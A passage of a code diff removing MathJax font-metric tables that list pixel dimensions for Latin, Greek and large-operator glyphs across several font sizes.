-        [3,5,0],[3,6,0],[4,6,0],[4,7,0],[5,9,0],[6,10,0],[7,13,0],[8,15,0],
-        [10,18,0],[11,22,0],[13,25,0],[16,30,1],[19,36,1],[22,42,1]
-      ],
-      0x75: [  // LATIN SMALL LETTER U
-        [4,3,0],[5,4,0],[6,4,0],[7,5,0],[8,6,0],[10,7,0],[11,9,0],[13,10,0],
-        [16,12,0],[19,15,0],[22,17,0],[26,22,1],[31,26,1],[37,30,1]
-      ],
-      0x76: [  // LATIN SMALL LETTER V
-        [4,3,0],[4,4,0],[5,4,0],[6,5,0],[7,6,0],[8,7,0],[10,9,0],[11,10,0],
-        [13,12,0],[16,15,0],[19,17,0],[22,22,1],[26,26,1],[31,30,1]
-      ],
-      0x77: [  // LATIN SMALL LETTER W
-        [5,3,0],[6,4,0],[7,4,0],[9,5,0],[10,6,0],[12,7,0],[14,9,0],[16,10,0],
-        [20,12,0],[23,15,0],[27,17,0],[32,22,1],[39,26,1],[46,30,1]
-      ],
-      0x78: [  // LATIN SMALL LETTER X
-        [4,3,0],[5,4,0],[6,4,0],[7,5,0],[8,6,0],[9,7,0],[11,9,0],[13,10,0],
-        [15,12,0],[18,15,0],[21,17,0],[25,22,1],[29,26,1],[35,30,1]
-      ],
-      0x79: [  // LATIN SMALL LETTER Y
-        [4,4,1],[5,6,2],[5,6,2],[6,7,2],[7,9,3],[9,10,3],[10,13,4],[12,15,5],
-        [14,18,6],[17,22,7],[20,25,8],[23,31,10],[28,37,12],[33,42,13]
-      ],
-      0x7A: [  // LATIN SMALL LETTER Z
-        [4,3,0],[4,4,0],[5,4,0],[6,5,0],[7,6,0],[8,7,0],[10,9,0],[11,10,0],
-        [13,12,0],[16,15,0],[19,17,0],[22,22,1],[26,26,1],[31,30,1]
-      ],
-      0xA0: [  // NO-BREAK SPACE
-        [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],
-        [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]
-      ],
-      0x393: [  // GREEK CAPITAL LETTER GAMMA
-        [5,5,0],[6,6,0],[8,6,0],[9,8,0],[10,9,0],[12,11,0],[14,14,0],[17,16,0],
-        [20,19,0],[24,23,0],[29,27,0],[34,33,0],[40,39,0],[48,45,0]
-      ],
-      0x394: [  // GREEK CAPITAL LETTER DELTA
-        [6,5,0],[7,6,0],[8,6,0],[10,8,0],[11,9,0],[14,11,0],[16,14,0],[19,16,0],
-        [22,19,0],[26,24,0],[31,28,0],[37,34,0],[44,41,0],[52,47,0]
-      ],
-      0x398: [  // GREEK CAPITAL LETTER THETA
-        [6,5,0],[7,6,0],[8,6,0],[9,8,0],[11,9,0],[13,11,0],[15,14,0],[18,16,0],
-        [21,20,1],[25,25,1],[29,29,1],[35,35,2],[41,41,1],[49,48,1]
-      ],
-      0x39B: [  // GREEK CAPITAL LETTER LAMDA
-        [5,5,0],[6,7,0],[7,7,0],[8,8,0],[10,10,0],[12,12,0],[14,15,0],[16,16,0],
-        [19,20,0],[23,24,0],[27,28,0],[32,34,1],[38,41,1],[45,47,0]
-      ],
-      0x39E: [  // GREEK CAPITAL LETTER XI
-        [6,5,0],[7,6,0],[8,6,0],[10,8,0],[11,9,0],[13,11,0],[16,14,0],[19,16,0],
-        [22,19,0],[26,23,0],[31,27,0],[37,32,0],[43,38,0],[52,45,0]
-      ],
-      0x3A0: [  // GREEK CAPITAL LETTER PI
-        [7,5,0],[8,6,0],[9,6,0],[11,8,0],[13,9,0],[15,11,0],[18,14,0],[21,16,0],
-        [25,19,0],[30,23,0],[35,27,0],[42,33,0],[50,39,0],[59,45,0]
-      ],
-      0x3A3: [  // GREEK CAPITAL LETTER SIGMA
-        [6,5,0],[7,6,0],[8,6,0],[10,8,0],[12,9,0],[14,11,0],[16,14,0],[19,16,0],
-        [23,19,0],[27,23,0],[32,27,0],[38,33,0],[45,39,0],[54,46,0]
-      ],
-      0x3A5: [  // GREEK CAPITAL LETTER UPSILON
-        [5,5,0],[6,6,0],[7,6,0],[9,8,0],[10,9,0],[12,11,0],[14,14,0],[17,16,0],
-        [20,19,0],[23,24,0],[28,28,0],[33,34,0],[39,40,0],[46,46,0]
-      ],
-      0x3A6: [  // GREEK CAPITAL LETTER PHI
-        [5,5,0],[6,6,0],[7,6,0],[8,8,0],[9,9,0],[11,11,0],[13,14,0],[15,16,0],
-        [18,19,0],[22,23,0],[26,27,0],[30,32,-1],[36,39,0],[43,45,-1]
-      ],
-      0x3A8: [  // GREEK CAPITAL LETTER PSI
-        [5,5,0],[6,6,0],[7,6,0],[9,8,0],[10,9,0],[12,11,0],[14,14,0],[17,16,0],
-        [20,19,0],[23,23,0],[28,27,0],[33,32,-1],[39,39,0],[46,45,-1]
-      ],
-      0x3A9: [  // GREEK CAPITAL LETTER OMEGA
-        [6,5,0],[7,6,0],[8,6,0],[10,8,0],[11,9,0],[14,11,0],[16,14,0],[19,16,0],
-        [22,19,0],[26,24,0],[31,28,0],[37,34,0],[44,40,0],[52,47,0]
-      ],
-      0x3B1: [  // GREEK SMALL LETTER ALPHA
-        [5,3,0],[5,4,0],[6,4,0],[8,5,0],[9,6,0],[10,7,0],[12,9,0],[14,10,0],
-        [17,12,0],[20,15,0],[24,17,0],[28,22,1],[34,26,1],[40,30,1]
-      ],
-      0x3B2: [  // GREEK SMALL LETTER BETA
-        [4,6,1],[5,8,2],[6,8,2],[7,10,2],[8,12,3],[10,14,3],[12,18,4],[14,21,5],
-        [16,25,6],[19,31,7],[23,36,8],[27,43,10],[32,52,12],[38,59,13]
-      ],
-      0x3B3: [  // GREEK SMALL LETTER GAMMA
-        [4,4,1],[5,6,2],[6,6,2],[7,7,2],[8,9,3],[10,10,3],[11,13,4],[13,15,5],
-        [16,18,6],[18,22,7],[22,25,8],[26,32,11],[31,38,13],[36,44,15]
-      ],
-      0x3B4: [  // GREEK SMALL LETTER DELTA
-        [4,5,0],[4,6,0],[5,6,0],[6,8,0],[7,9,0],[8,11,0],[9,14,0],[11,16,0],
-        [13,19,0],[15,24,0],[18,28,0],[21,35,1],[25,41,1],[30,48,1]
-      ],
-      0x3B5: [  // GREEK SMALL LETTER EPSILON
-        [3,3,0],[4,4,0],[5,4,0],[6,5,0],[6,6,0],[8,7,0],[9,9,0],[10,10,0],
-        [12,13,1],[15,16,1],[17,18,1],[20,22,1],[24,27,2],[29,31,1]
-      ],
-      0x3B6: [  // GREEK SMALL LETTER ZETA
-        [4,6,1],[4,8,2],[5,8,2],[6,10,2],[7,12,3],[8,14,3],[10,18,4],[11,21,5],
-        [13,25,6],[16,31,7],[19,36,8],[22,43,10],[26,52,12],[31,60,13]
-      ],
-      0x3B7: [  // GREEK SMALL LETTER ETA
-        [4,4,1],[5,6,2],[5,6,2],[6,7,2],[7,9,3],[9,10,3],[10,13,4],[12,15,5],
-        [14,18,6],[17,22,7],[20,25,8],[24,32,11],[28,38,13],[33,44,15]
-      ],
-      0x3B8: [  // GREEK SMALL LETTER THETA
-        [4,5,0],[4,6,0],[5,6,0],[6,8,0],[7,9,0],[8,11,0],[9,14,0],[11,16,0],
-        [13,19,0],[16,24,0],[19,28,0],[22,34,1],[26,41,1],[31,47,1]
-      ],
-      0x3B9: [  // GREEK SMALL LETTER IOTA
-        [3,3,0],[3,4,0],[4,4,0],[4,5,0],[5,6,0],[6,7,0],[7,9,0],[8,10,0],
-        [10,12,0],[11,15,0],[13,17,0],[16,22,1],[19,26,1],[22,30,1]
-      ],
-      0x3BA: [  // GREEK SMALL LETTER KAPPA
-        [4,3,0],[5,4,0],[6,4,0],[7,5,0],[8,6,0],[10,7,0],[11,9,0],[13,10,0],
-        [16,12,0],[19,15,0],[22,17,0],[26,22,1],[31,26,1],[37,30,1]
-      ],
-      0x3BB: [  // GREEK SMALL LETTER LAMDA
-        [4,5,0],[5,6,0],[6,6,0],[7,8,0],[8,9,0],[10,11,0],[11,14,0],[13,16,0],
-        [16,19,0],[19,24,0],[22,27,0],[26,34,1],[31,40,1],[37,47,1]
-      ],
-      0x3BC: [  // GREEK SMALL LETTER MU
-        [4,4,1],[5,6,2],[6,6,2],[7,7,2],[8,9,3],[10,10,3],[12,13,4],[14,15,5],
-        [16,18,6],[20,22,7],[23,25,8],[27,32,11],[33,38,13],[39,44,15]
-      ],
-      0x3BD: [  // GREEK SMALL LETTER NU
-        [4,3,0],[5,4,0],[6,4,0],[7,5,0],[8,6,0],[9,7,0],[11,9,0],[13,10,0],
-        [15,12,0],[18,15,0],[21,17,0],[25,22,1],[30,25,0],[35,29,0]
-      ],
-      0x3BE: [  // GREEK SMALL LETTER XI
-        [4,6,1],[4,8,2],[5,8,2],[6,10,2],[7,12,3],[8,14,3],[9,18,4],[11,21,5],
-        [13,25,6],[15,31,7],[18,36,8],[21,43,10],[25,52,12],[30,60,13]
-      ],
-      0x3BF: [  // GREEK SMALL LETTER OMICRON
-        [4,3,0],[4,4,0],[5,4,0],[6,5,0],[7,6,0],[8,7,0],[10,9,0],[12,10,0],
-        [14,12,0],[16,15,0],[19,17,0],[23,22,1],[27,26,1],[32,30,1]
-      ],
-      0x3C0: [  // GREEK SMALL LETTER PI
-        [4,3,0],[5,4,0],[6,4,0],[7,5,0],[8,6,0],[10,7,0],[12,9,0],[14,10,0],
-        [16,12,0],[19,15,0],[23,17,0],[27,22,1],[32,25,1],[38,29,1]
-      ],
-      0x3C1: [  // GREEK SMALL LETTER RHO
-        [4,4,1],[5,6,2],[5,6,2],[6,7,2],[7,9,3],[9,10,3],[10,13,4],[12,15,5],
-        [14,18,6],[17,22,7],[20,25,8],[24,32,11],[28,38,13],[34,44,15]
-      ],
-      0x3C2: [  // GREEK SMALL LETTER FINAL SIGMA
-        [3,4,1],[4,5,1],[5,5,1],[5,7,2],[6,8,2],[7,9,2],[8,11,2],[10,13,3],
-        [12,15,3],[14,19,4],[17,22,5],[20,26,5],[23,32,7],[27,36,7]
-      ],
-      0x3C3: [  // GREEK SMALL LETTER SIGMA
-        [4,3,0],[5,4,0],[6,4,0],[7,5,0],[8,6,0],[10,7,0],[12,9,0],[14,10,0],
-        [16,12,0],[19,15,0],[23,17,0],[27,22,1],[32,25,1],[38,29,1]
-      ],
-      0x3C4: [  // GREEK SMALL LETTER TAU
-        [4,3,0],[5,4,0],[6,4,0],[7,5,0],[8,6,0],[9,7,0],[10,9,0],[12,10,0],
-        [15,12,0],[17,15,0],[21,17,0],[24,21,1],[29,26,1],[34,29,1]
-      ],
-      0x3C5: [  // GREEK SMALL LETTER UPSILON
-        [4,3,0],[5,4,0],[6,4,0],[7,5,0],[8,6,0],[9,7,0],[11,9,0],[13,10,0],
-        [15,12,0],[18,15,0],[21,17,0],[25,22,1],[29,26,1],[35,30,1]
-      ],
-      0x3C6: [  // GREEK SMALL LETTER PHI
-        [5,4,1],[6,6,2],[7,6,2],[8,7,2],[9,9,3],[11,10,3],[13,13,4],[15,15,5],
-        [18,18,6],[21,22,7],[25,25,8],[29,32,11],[35,38,13],[41,44,15]
-      ],
-      0x3C7: [  // GREEK SMALL LETTER CHI
-        [5,4,1],[5,6,2],[6,6,2],[8,7,2],[9,9,3],[10,10,3],[12,13,4],[14,15,5],
-        [17,18,6],[20,22,7],[24,25,8],[28,31,10],[34,37,12],[40,42,13]
-      ],
-      0x3C8: [  // GREEK SMALL LETTER PSI
-        [5,6,1],[6,8,2],[7,8,2],[8,10,2],[9,12,3],[11,14,3],[13,18,4],[15,21,5],
-        [18,25,6],[21,31,7],[25,35,8],[30,43,10],[35,51,12],[42,59,13]
-      ],
-      0x3C9: [  // GREEK SMALL LETTER OMEGA
-        [5,3,0],[6,4,0],[6,4,0],[8,5,0],[9,6,0],[11,7,0],[12,9,0],[15,10,0],
-        [17,12,0],[20,15,0],[24,17,0],[29,22,1],[34,26,1],[40,30,1]
-      ],
-      0x3D1: [  // GREEK THETA SYMBOL
-        [4,5,0],[5,6,0],[6,6,0],[7,8,0],[8,9,0],[10,11,0],[11,14,0],[14,16,0],
-        [16,19,0],[19,24,0],[23,28,0],[27,34,1],[32,41,1],[38,47,1]
-      ],
-      0x3D5: [  // GREEK PHI SYMBOL
-        [4,6,1],[5,8,2],[6,8,2],[7,10,2],[8,12,3],[10,14,3],[12,18,4],[14,21,5],
-        [16,25,6],[20,31,7],[23,35,8],[27,43,10],[32,51,12],[39,59,13]
-      ],
-      0x3D6: [  // GREEK PI SYMBOL
-        [6,3,0],[7,4,0],[9,4,0],[10,5,0],[12,6,0],[14,7,0],[17,9,0],[20,10,0],
-        [23,12,0],[28,15,0],[33,17,0],[39,22,1],[46,25,1],[55,29,1]
-      ],
-      0x3F1: [  // GREEK RHO SYMBOL
-        [4,4,1],[5,6,2],[5,6,2],[6,7,2],[8,9,3],[9,10,3],[10,13,4],[12,15,5],
-        [15,18,6],[17,22,7],[20,25,8],[24,31,10],[29,37,12],[34,42,13]
-      ],
-      0x3F5: [  // GREEK LUNATE EPSILON SYMBOL
-        [3,3,0],[4,4,0],[4,4,0],[5,5,0],[6,6,0],[7,7,0],[8,9,0],[9,10,0],
-        [11,12,0],[13,15,0],[15,17,0],[18,21,1],[21,25,1],[25,30,1]
-      ]
-    },
-
-    "MathJax_Size1": {
-      0x20: [  // SPACE
-        [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],
-        [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]
-      ],
-      0x28: [  // LEFT PARENTHESIS
-        [3,9,2],[4,10,3],[5,12,3],[5,15,4],[6,17,5],[7,20,6],[9,24,7],[10,28,8],
-        [12,34,10],[14,40,11],[17,47,14],[20,56,16],[24,67,19],[28,79,23]
-      ],
-      0x29: [  // RIGHT PARENTHESIS
-        [3,9,2],[3,10,3],[3,12,3],[4,15,4],[5,17,5],[6,20,6],[6,24,7],[8,28,8],
-        [9,34,10],[11,40,11],[12,47,14],[15,56,16],[17,67,19],[21,79,23]
-      ],
-      0x2F: [  // SOLIDUS
-        [4,9,2],[5,10,3],[6,12,3],[7,14,4],[8,17,5],[9,20,6],[11,24,7],[13,28,8],
-        [15,33,10],[18,40,11],[21,47,14],[25,56,16],[29,67,19],[35,79,23]
-      ],
-      0x5B: [  // LEFT SQUARE BRACKET
-        [3,9,3],[4,11,3],[4,12,4],[5,15,4],[6,17,5],[7,20,6],[8,24,7],[10,28,8],
-        [11,34,10],[13,41,12],[16,47,14],[19,56,16],[22,67,19],[26,79,23]
-      ],
-      0x5C: [  // REVERSE SOLIDUS
-        [4,9,2],[5,10,3],[6,12,3],[7,14,4],[8,17,5],[9,20,6],[11,24,7],[13,28,8],
-        [15,33,10],[18,40,11],[21,47,14],[25,56,16],[29,67,19],[35,79,23]
-      ],
-      0x5D: [  // RIGHT SQUARE BRACKET
-        [2,9,3],[2,11,3],[3,12,4],[3,15,4],[3,17,5],[4,20,6],[5,24,7],[5,28,8],
-        [6,34,10],[8,41,12],[9,47,14],[10,56,16],[12,67,19],[15,79,23]
-      ],
-      0x7B: [  // LEFT CURLY BRACKET
-        [4,9,2],[4,10,3],[5,12,3],[6,15,4],[7,17,5],[8,20,6],[10,24,7],[12,28,8],
-        [14,34,10],[16,40,12],[19,47,14],[23,56,16],[27,67,20],[32,79,23]
-      ],
-      0x7D: [  // RIGHT CURLY BRACKET
-        [4,9,2],[4,10,3],[5,12,3],[6,15,4],[7,17,5],[8,20,6],[10,24,7],[12,28,8],
-        [14,34,10],[16,40,11],[19,47,13],[23,56,16],[27,67,19],[32,79,23]
-      ],
-      0xA0: [  // NO-BREAK SPACE
-        [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],
-        [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]
-      ],
-      0x2C6: [  // MODIFIER LETTER CIRCUMFLEX ACCENT
-        [5,3,-3],[6,3,-4],[7,3,-5],[8,3,-6],[9,4,-7],[11,4,-9],[12,4,-10],[15,5,-13],
-        [17,7,-14],[20,7,-17],[24,8,-21],[28,10,-25],[33,12,-30],[39,14,-36]
-      ],
-      0x2DC: [  // SMALL TILDE
-        [4,1,-4],[5,2,-5],[6,2,-6],[7,2,-7],[8,2,-8],[10,3,-9],[11,4,-11],[13,4,-13],
-        [16,4,-17],[19,5,-20],[22,5,-23],[26,6,-28],[31,7,-33],[37,9,-39]
-      ],
-      0x302: [  // COMBINING CIRCUMFLEX ACCENT
-        [5,3,-3],[6,3,-4],[7,3,-5],[8,3,-6],[9,4,-7],[11,4,-9],[12,4,-10],[15,5,-13],
-        [17,7,-14],[20,7,-17],[24,8,-21],[28,10,-25],[33,12,-30],[39,14,-36]
-      ],
-      0x303: [  // COMBINING TILDE
-        [4,1,-4],[5,2,-5],[6,2,-6],[7,2,-7],[8,2,-8],[10,3,-9],[11,4,-11],[13,4,-13],
-        [16,4,-17],[19,5,-20],[22,5,-23],[26,6,-28],[31,7,-33],[37,9,-39]
-      ],
-      0x2016: [  // DOUBLE VERTICAL LINE
-        [4,5,0],[5,5,0],[6,6,0],[7,8,0],[8,9,0],[9,10,0],[11,12,0],[13,14,0],
-        [15,17,0],[18,20,0],[21,24,0],[25,28,0],[29,34,0],[35,40,0]
-      ],
-      0x2191: [  // UPWARDS ARROW
-        [4,5,0],[5,5,0],[6,6,0],[7,8,0],[8,9,0],[10,10,0],[11,12,0],[13,14,0],
-        [16,17,0],[19,20,0],[22,24,0],[26,28,0],[31,34,0],[37,40,0]
-      ],
-      0x2193: [  // DOWNWARDS ARROW
-        [4,5,0],[5,5,0],[6,6,0],[7,8,0],[8,9,0],[10,10,0],[11,12,0],[13,14,0],
-        [16,17,0],[19,20,0],[22,24,0],[26,28,0],[31,34,0],[37,40,0]
-      ],
-      0x21D1: [  // UPWARDS DOUBLE ARROW
-        [5,5,0],[7,5,0],[7,6,0],[9,8,0],[10,9,0],[13,10,0],[14,12,0],[17,14,0],
-        [20,17,0],[24,20,0],[29,24,0],[34,28,0],[40,34,0],[48,40,0]
-      ],
-      0x21D3: [  // DOWNWARDS DOUBLE ARROW
-        [5,5,0],[7,5,0],[7,6,0],[9,8,0],[10,9,0],[13,10,0],[14,12,0],[17,14,0],
-        [20,17,0],[24,20,0],[29,24,0],[34,28,0],[40,34,0],[48,40,0]
-      ],
-      0x220F: [  // N-ARY PRODUCT
-        [7,8,2],[8,9,2],[9,11,3],[11,12,3],[13,15,4],[15,17,4],[18,20,5],[21,24,6],
-        [25,28,7],[30,34,9],[35,40,10],[42,47,12],[50,56,14],[59,67,17]
-      ],
-      0x2210: [  // N-ARY COPRODUCT
-        [7,8,2],[8,9,2],[9,11,3],[11,12,3],[13,15,4],[15,17,4],[18,20,5],[21,24,6],
-        [25,28,7],[30,34,9],[35,40,10],[42,47,12],[50,56,14],[59,67,17]
-      ],
-      0x2211: [  // N-ARY SUMMATION
-        [7,8,2],[9,9,2],[10,11,3],[12,12,3],[14,15,4],[17,18,5],[20,20,5],[24,24,6],
-        [28,28,7],[33,34,9],[40,40,10],[47,47,12],[56,56,14],[66,67,17]
-      ],
-      0x221A: [  // SQUARE ROOT
-        [8,9,3],[9,11,3],[11,13,4],[12,15,5],[15,17,5],[17,21,6],[20,24,7],[24,29,9],
-        [29,34,10],[34,40,12],[40,48,14],[48,57,17],[57,67,20],[68,80,24]
-      ],
-      0x2223: [  // DIVIDES
-        [2,6,1],[2,7,1],[2,8,1],[2,9,1],[3,10,1],[3,12,1],[4,14,1],[5,16,1],
-        [6,19,1],[7,22,1],[8,26,1],[9,31,1],[11,36,1],[13,43,1]
-      ],
-      0x2225: [  // PARALLEL TO
-        [3,6,1],[4,7,1],[4,8,1],[5,9,1],[6,10,1],[7,12,1],[8,14,1],[10,16,1],
-        [12,19,1],[14,22,1],[17,26,1],[20,31,1],[23,36,1],[27,43,1]
-      ],
-      0x222B: [  // INTEGRAL
-        [5,8,2],[5,10,3],[6,11,3],[7,14,4],[9,16,4],[11,19,5],[12,22,6],[15,26,7],
-        [17,32,9],[21,38,11],[24,44,12],[29,53,15],[34,62,17],[41,74,21]
-      ],
-      0x222C: [  // DOUBLE INTEGRAL
-        [7,8,2],[8,10,3],[10,11,3],[11,14,4],[14,16,4],[16,19,5],[19,22,6],[23,26,7],
-        [27,32,9],[32,38,11],[38,44,12],[45,53,15],[53,62,17],[64,74,21]
-      ],
-      0x222D: [  // TRIPLE INTEGRAL
-        [9,8,2],[11,10,3],[13,11,3],[15,14,4],[19,16,4],[22,19,5],[26,22,6],[31,26,7],
-        [37,32,9],[43,38,11],[52,44,12],[61,53,15],[73,62,17],[86,74,21]
-      ],
-      0x222E: [  // CONTOUR INTEGRAL
-        [5,8,2],[5,10,3],[6,11,3],[7,14,4],[9,16,4],[11,19,5],[12,22,6],[15,26,7],
-        [17,32,9],[21,38,11],[24,44,12],[29,53,15],[34,62,17],[41,74,21]
-      ],
-      0x22C0: [  // N-ARY LOGICAL AND
-        [6,8,2],[7,10,3],[8,11,3],[10,12,3],[11,15,4],[13,18,5],[16,20,5],[19,24,6],
-        [22,28,7],[26,34,9],[31,40,10],[37,47,12],[43,56,14],[52,67,17]
-      ],
-      0x22C1: [  // N-ARY LOGICAL OR
-        [6,8,2],[7,10,3],[8,11,3],[10,13,4],[11,15,4],[13,18,5],[16,21,6],[19,25,7],
-        [22,29,8],[26,34,9],[31,41,11],[37,48,13],[43,57,15],[52,68,18]
-      ],
-      0x22C2: [  // N-ARY INTERSECTION
-        [6,7,2],[7,10,3],[8,11,3],[10,12,3],[11,15,4],[13,18,5],[16,20,5],[18,25,7],
-        [22,29,8],[26,34,9],[31,40,10],[36,47,12],[43,57,15],[51,67,17]
-      ],
-      0x22C3: [  // N-ARY UNION
-        [6,8,2],[7,10,3],[8,11,3],[10,12,3],[11,15,4],[13,18,5],[16,20,5],[18,24,6],
-        [22,28,7],[26,34,9],[31,40,10],[36,47,12],[43,56,14],[51,67,17]
-      ],
-      0x2308: [  // LEFT CEILING
-        [4,9,3],[4,10,3],[5,13,4],[6,15,5],[7,17,5],[8,20,6],[9,24,7],[11,28,8],
-        [13,34,10],[15,40,12],[18,48,14],[21,56,16],[25,67,20],[30,79,23]
-      ],
-      0x2309: [  // RIGHT CEILING
-        [2,9,3],[3,10,3],[3,13,4],[3,15,5],[4,17,5],[5,20,6],[6,24,7],[7,28,8],
-        [8,34,10],[9,40,12],[11,48,14],[13,56,16],[15,67,20],[18,79,23]
-      ],
-      0x230A: [  // LEFT FLOOR
-        [4,9,3],[4,11,3],[5,13,4],[6,15,4],[7,17,5],[8,21,6],[9,24,7],[11,28,8],
-        [13,34,10],[15,41,12],[18,48,14],[21,57,17],[25,68,20],[30,79,23]
-      ],
-      0x230B: [  // RIGHT FLOOR
-        [2,9,3],[3,11,3],[3,13,4],[3,15,4],[4,17,5],[5,21,6],[6,24,7],[7,28,8],
-        [8,34,10],[9,41,12],[11,48,14],[13,57,17],[15,68,20],[18,79,23]
-      ],
-      0x23D0: [  // VERTICAL LINE EXTENSION (used to extend arrows)
-        [3,5,0],[3,5,0],[4,6,0],[4,8,0],[5,9,0],[6,10,0],[7,12,0],[9,14,0],
-        [10,17,0],[12,20,0],[14,24,0],[17,28,0],[20,34,0],[24,40,0]
-      ],
-      0x27E8: [  // MATHEMATICAL LEFT ANGLE BRACKET
-        [3,9,3],[4,11,3],[4,13,4],[5,15,5],[6,17,5],[7,21,6],[8,24,7],[10,29,9],
-        [11,34,10],[13,40,12],[16,48,14],[19,57,17],[22,67,20],[26,80,24]
-      ],
-      0x27E9: [  // MATHEMATICAL RIGHT ANGLE BRACKET
-        [3,9,3],[4,11,3],[4,13,4],[5,15,5],[6,17,5],[7,21,6],[8,24,7],[9,29,9],
-        [11,34,10],[13,40,12],[15,48,14],[18,57,17],[21,67,20],[25,80,24]
-      ],
-      0x2A00: [  // N-ARY CIRCLED DOT OPERATOR
-        [8,8,2],[9,9,2],[11,11,3],[13,12,3],[15,15,4],[18,18,5],[21,20,5],[25,24,6],
-        [30,28,7],[35,34,9],[42,40,10],[50,47,12],[59,56,14],[70,67,17]
-      ],
-      0x2A01: [  // N-ARY CIRCLED PLUS OPERATOR
-        [8,8,2],[9,8,2],[11,11,3],[13,12,3],[15,15,4],[18,18,5],[21,20,5],[25,24,6],
-        [30,28,7],[35,34,9],[42,40,10],[49,47,12],[59,56,14],[70,67,17]
-      ],
-      0x2A02: [  // N-ARY CIRCLED TIMES OPERATOR
-        [8,8,2],[9,9,2],[11,11,3],[13,12,3],[15,15,4],[18,18,5],[21,20,5],[25,24,6],
-        [30,28,7],[35,34,9],[42,40,10],[50,47,12],[59,56,14],[70,67,17]
-      ],
-      0x2A04: [  // N-ARY UNION OPERATOR WITH PLUS
-        [6,8,2],[7,10,3],[8,11,3],[10,12,3],[11,15,4],[13,18,5],[16,20,5],[18,24,6],
-        [22,28,7],[26,34,9],[31,40,10],[36,47,12],[43,56,14],[51,67,17]
-      ],
-      0x2A06: [  // N-ARY SQUARE UNION OPERATOR
-        [6,8,2],[7,9,2],[8,11,3],[10,12,3],[11,15,4],[13,18,5],[16,20,5],[19,24,6],
-        [22,28,7],[26,34,9],[31,40,10],[37,47,12],[43,56,14],[52,67,17]
-      ]
-    },
-
-    "MathJax_Size2": {
-      0x20: [  // SPACE
-        [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],
-        [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]
-      ],
-      0x28: [  // LEFT PARENTHESIS
-        [4,13,4],[5,15,5],[6,18,6],[7,22,8],[8,25,9],[10,30,11],[11,36,13],[14,42,15],
-        [16,50,18],[19,60,21],[22,71,25],[27,84,30],[32,100,36],[37,119,43]
-      ],
-      0x29: [  // RIGHT PARENTHESIS
-        [3,13,4],[4,15,5],[5,18,6],[5,22,8],[6,25,9],[7,30,11],[9,36,13],[10,42,15],
-        [12,50,18],[14,60,21],[17,71,25],[20,84,30],[23,100,36],[28,119,43]
-      ],
-      0x2F: [  // SOLIDUS
-        [6,13,4],[7,15,5],[8,18,6],[9,21,8],[11,25,9],[13,30,11],[15,35,13],[18,42,15],
-        [21,50,18],[25,59,21],[30,71,25],[36,84,30],[42,100,36],[50,119,43]
-      ],
-      0x5B: [  // LEFT SQUARE BRACKET
-        [4,13,5],[4,16,6],[5,18,7],[6,22,8],[7,25,9],[8,30,11],[9,35,13],[11,43,16],
-        [13,51,19],[15,59,21],[18,70,25],[22,84,30],[26,100,36],[30,119,43]
-      ],
-      0x5C: [  // REVERSE SOLIDUS
-        [6,13,4],[7,15,5],[8,18,6],[9,21,8],[11,25,9],[13,30,11],[15,35,13],[18,42,15],
-        [21,50,18],[25,59,21],[30,71,25],[35,84,30],[42,100,36],[50,119,43]
-      ],
-      0x5D: [  // RIGHT SQUARE BRACKET
-        [2,13,5],[3,16,6],[3,18,7],[3,22,8],[4,25,9],[5,30,11],[5,35,13],[6,43,16],
-        [7,51,19],[9,59,21],[10,70,25],[12,84,30],[14,100,36],[17,119,43]
-      ],
-      0x7B: [  // LEFT CURLY BRACKET
-        [4,13,4],[5,15,5],[6,18,6],[7,22,8],[8,25,9],[10,30,11],[11,36,13],[13,42,15],
-        [16,50,18],[18,60,21],[22,71,25],[26,84,30],[31,100,36],[36,119,43]
-      ],
-      0x7D: [  // RIGHT CURLY BRACKET
-        [4,13,4],[5,15,5],[6,18,6],[7,22,8],[8,25,9],[10,30,11],[11,36,13],[13,42,15],
-        [16,50,18],[18,60,21],[22,71,25],[26,84,30],[31,100,36],[36,119,43]
-      ],
-      0xA0: [  // NO-BREAK SPACE
-        [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],
-        [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]
-      ],
-      0x2C6: [  // MODIFIER LETTER CIRCUMFLEX ACCENT
-        [8,2,-4],[10,2,-5],[11,3,-6],[13,3,-7],[15,3,-8],[18,4,-9],[21,4,-11],[25,5,-13],
-        [29,6,-16],[35,8,-19],[41,9,-22],[48,10,-26],[57,12,-31],[68,14,-37]
-      ],
-      0x2DC: [  // SMALL TILDE
-        [7,2,-4],[9,2,-5],[10,2,-6],[12,2,-7],[14,2,-8],[17,2,-10],[20,4,-11],[24,5,-13],
-        [28,4,-17],[33,5,-20],[40,6,-24],[47,7,-28],[56,8,-34],[66,9,-40]
-      ],
-      0x302: [  // COMBINING CIRCUMFLEX ACCENT
-        [8,2,-4],[10,2,-5],[11,3,-6],[13,3,-7],[15,3,-8],[18,4,-9],[21,4,-11],[25,5,-13],
-        [29,6,-16],[35,8,-19],[41,9,-22],[48,10,-26],[57,12,-31],[68,14,-37]
-      ],
-      0x303: [  // COMBINING TILDE
-        [7,2,-4],[9,2,-5],[10,2,-6],[12,2,-7],[14,2,-8],[17,2,-10],[20,4,-11],[24,5,-13],
-        [28,4,-17],[33,5,-20],[40,6,-24],[47,7,-28],[56,8,-34],[66,9,-40]
-      ],
-      0x220F: [  // N-ARY PRODUCT
-        [9,10,3],[11,12,4],[12,15,5],[15,17,6],[17,19,6],[21,24,8],[24,28,9],[29,34,11],
-        [34,40,13],[41,47,15],[48,56,18],[57,66,21],[68,78,25],[81,93,30]
-      ],
-      0x2210: [  // N-ARY COPRODUCT
-        [9,10,3],[11,12,4],[12,15,5],[15,17,6],[17,19,6],[21,24,8],[24,28,9],[29,34,11],
-        [34,40,13],[41,47,15],[48,56,18],[57,66,21],[68,78,25],[81,93,30]
-      ],
-      0x2211: [  // N-ARY SUMMATION
